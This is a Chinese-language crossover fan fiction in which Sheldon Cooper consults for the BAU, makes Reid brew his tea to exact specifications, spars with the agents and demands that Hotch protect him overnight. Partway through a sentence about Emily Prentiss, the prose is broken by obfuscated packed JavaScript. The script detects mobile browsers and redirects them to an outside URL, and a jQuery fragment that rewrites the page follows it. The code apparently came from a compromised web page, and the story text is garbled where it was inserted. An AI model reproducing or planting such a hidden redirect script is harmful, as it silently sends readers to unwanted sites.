接下来的时间，Sheldon一边喋喋不休地抱怨一边在白板上演算那堆草稿。白板笔在光滑表面上摩擦出尖锐声响，发出急促、断续的吱吱声，像某种高频率的神经脉冲，不断冲击着在场每一位联邦探员的耳膜。
还有Sheldon的“ ver ver”抱怨声此起彼伏，“这种愚蠢的公式也能出现，现在我理解他为什么会被谋杀了。”“这个? 这里的错误我小学五年级就不会犯了”“天呐，这一点都没有美感，这些奖项真的在失去它们的水准”……
算着算着，他极其自然地伸出手，并在空气中悬停，“ Leonard，my tea.”那只手在虚空中抓握了一下，指尖碰到的却只有充满微尘的空气。
Sheldon没有得到他想要的，意识到Leonard已经抛弃了自己的事实，他拉长了脸在这群探员间逡巡，试图寻找一个靠谱的“泡茶员”。
Hotch 叹了口气，那是某种沉重的、属于成年人的无奈。他看着那张拉得老长、写满了“我被世界抛弃了”的脸在他们中间巡视，就像一个挑剔的顾客在打量货架上的残次品。
就在那道挑剔的目光即将扫过 Reid 时，这位年轻的天才博士突然动了。Reid 拿起被Hotch 搁置在桌上的《行为指南》，以惊人的阅读速度迅速翻动，纸张哗啦作响。他的手指轻轻点到其中一页，眼睛亮得惊人，仿佛刚刚破解了一个复杂的密码。
“第73页，第4节：饮料协议。”Reid的声音里透着一股严谨的兴奋，他抬头看向Sheldon，语速飞快，“Dr.Hofstadter提供了特别精确的指定，关于泡茶的每一步都有详细的参数建议。”
Sheldon看了一眼Reid，露出了一个偏向于愉悦的表情，“Well,难道他不是一个听话的小可爱吗？”Sheldon指的是当然在抛弃自己之前的Leonard。
紧接着Sheldon又紧紧地抿起唇，“但是他被人带坏了，我将归咎于Penny，那个从奥哈马农场来的金发女孩，我告诉你，这简直是一个灾难，一切都要从Leonard带着我去向新邻居问好开始，我早就告诉过他了，女人……”
眼看着Sheldon停下了演算，他的故事听上去又能从耶稣创世开始讲起一直讲到世界末日，Hotch当机立断，他转过头，目光落在已经不幸介入Sheldon人生因果论的Reid 身上，那是一个指挥官在战场上做出战术牺牲时的眼神。
“Reid，你有手册。你有执行参数的智力。去泡茶。”Hotch言简意赅。
Reid愣了一下，但他看了一眼手里那本充满了各种复杂变量的指南，似乎觉得这是一项挺有趣的创造性实验。
“这就去。”Reid 合上文件夹，把它夹在腋下，动作利落地站起身，甚至在走向茶水间前还特意向 Sheldon 确认了一句，“我会用实验室的过滤水。这里的自来水矿物质含量因为三楼的管道维护而在波动。”
随着 Reid 的身影消失在门口，Hotch 重新将视线转回白板前的那个人。他走到桌边，手指在桌面上轻扣了两下，试图将Sheldon的注意力从灾难人生重新拉回到那堆死人的公式上。
Hotch 微微扬起下巴，示意了一下那写满了鬼画符的白板，“为什么Rothman教授会出现你所说的五年级学生都不会弄错的公式？是因为他的精神失常吗？还是某种可以留下的讯息？”
Sheldon顿了一下，似乎有点不解，但很快恍然大悟地说，“Ahhh，我理解了你们为什么会误会。我说的不是五年级学生，我说的是在我五年级的时候不会犯的错误，而那绝对是你们当中大部分人一生的高度。”
……
沉默，众人的沉默震耳欲聋。每个人都在强忍着些什么。计较？显得太幼稚。不计较？这人又实在欠打。
好在此时Reid把茶端上来了，Sheldon的注意力终于从羞辱他人中短暂抽离，他接过茶，头也不抬地问，“乌龙茶？散茶而非茶包？粗茶？百分之二的牛奶？冲泡三分钟？分开加热的？一勺糖？”
在得到肯定的答复后，Sheldon给了Reid一个孺子可教的眼神，尝了一口评价道，“尚可接受。”
an看不下去了，嗤笑一声，“Doc,我们的pretty boy 有三个博士学位，12岁就上加州理工，而你在这儿让他泡茶？评价还只有尚可接受？”
Sheldon在听到前半句时茶也不喝了，警惕地竖起了耳朵，但在听到12岁后隐秘地松了口气，立刻像一只斗胜了的洋洋得意的公鸡，“我十一岁就上大学了。先生们，我想胜负已分。”
Sheldon幼稚的胜负欲在Spencer Reid脸上并未转化为任何挫败感。相反，这位年轻博士的目光像一只纯洁的鹿一样自然、欣喜，他看到的是两个孤独的质数终于在数轴的尽头相遇；是在浩瀚的深空中，终于接收到了另一个频率相同的波段。
他完全忽略了那句关于“胜出已分”的挑衅意味，只有一种找到了能听懂自己笑话的同类的欣喜。对于Reid来说，年龄的数字远没有找到同伴来得重要。
“好了，暂停。”an的声音横插进来，他靠在椅背上，双手抱头，目光在两个天才之间来回扫视，“所以我们有雨人对阵神奇小子。目前比分：一比零。我们需要给吉尼斯打电话吗？”
Emily Prentiss低着头，肩膀有着极轻微的颤动。她假装在研究案卷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149281|196422||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，实际上是在掩饰自己快要失控的表情管理。她刚刚加入这里，还没有赢得团队的信任，但这里的生态系统显然比她预想的要……丰富得多。
……
对于BAU来说加班是常态，但对Sheldon来说不是。拜托，他现在又没有在面临重大的理论突破，显然还是日程表更重要一点。
在算完几页后，Sheldon看了看时间，理所当然地要求下班，然后点周一专属的泰国餐。
“泰式炒面和沙茶鸡，外加更多的暹罗花生酱。”Sheldon的语气非常严肃。但没有人想理会他。
Hotch没有发生任何目光接触地把为顾问准备的酒店房卡推到Sheldon的面前。在他的官方辞令还没有说出前，Sheldon已经开始愤慨地尖叫。
“酒店？！有一队特工守护的那一种吗？最好是，否则我不住。这就是谋杀。Siebert校长承诺过我的安全会得到最高级别的保障！”
他把今天看到尸体的害怕理所应当地转嫁为了一种安全需求，并点名了在他眼里看来比较有安全感的两位——an和Hotchner，“今天晚上你们谁保护我？我将针对你们的个性特质出具临时性的室友协议。”
an的反应速度非常对得起他在体能测试中拿到的高分。“WOW,对不起，今天晚上我的房子里有派对。”几乎是在那句“派对”落地的瞬间，他已经完成了抓包、转身、倒退这三个战术动作，迅速拉开了与那个“临时室友协议”之间的距离。
而Sheldon也在听到“派对”这个词后嫌弃地转身，看向Hotch。
“祝你好运，Hotch。别让他趁你睡觉时重写宪法。”an站在门口，脸上挂着那种劫后余生的灿烂笑容，冲着会议室里剩下的那个倒霉蛋比了个致敬的手势，然后像一阵黑色的旋风般消失在了走廊尽头，只留下自动门在他身后发出轻微的气流闭合声。
Hotchner站在原地，那道被 Sheldon Cooper 锁定的视线仿佛具有实体的重量，沉甸甸地压在他眉心的褶皱处。
我是主管，我是主管，我是主管。我有责任，我有责任，我有责任。
我是全世界最不幸的主管。
Hotch极其缓慢地抬起手，揉了揉隐隐作痛的太阳穴。他在脑海里过了一遍所有的拒绝理由：联邦规章、个人隐私、甚至是他和Haley那岌岌可危的婚姻状况。但当他的目光触及 Sheldon那个虽然昂着头、却在提及“安全感”时下意识抓紧扶手的小动作时，那些理由又像潮水般退去了。
Sheldon当然是一个傲慢的天才，也是一个被强行拽入暴力世界的平民。
而保护平民，恰好刻在他的徽章背面。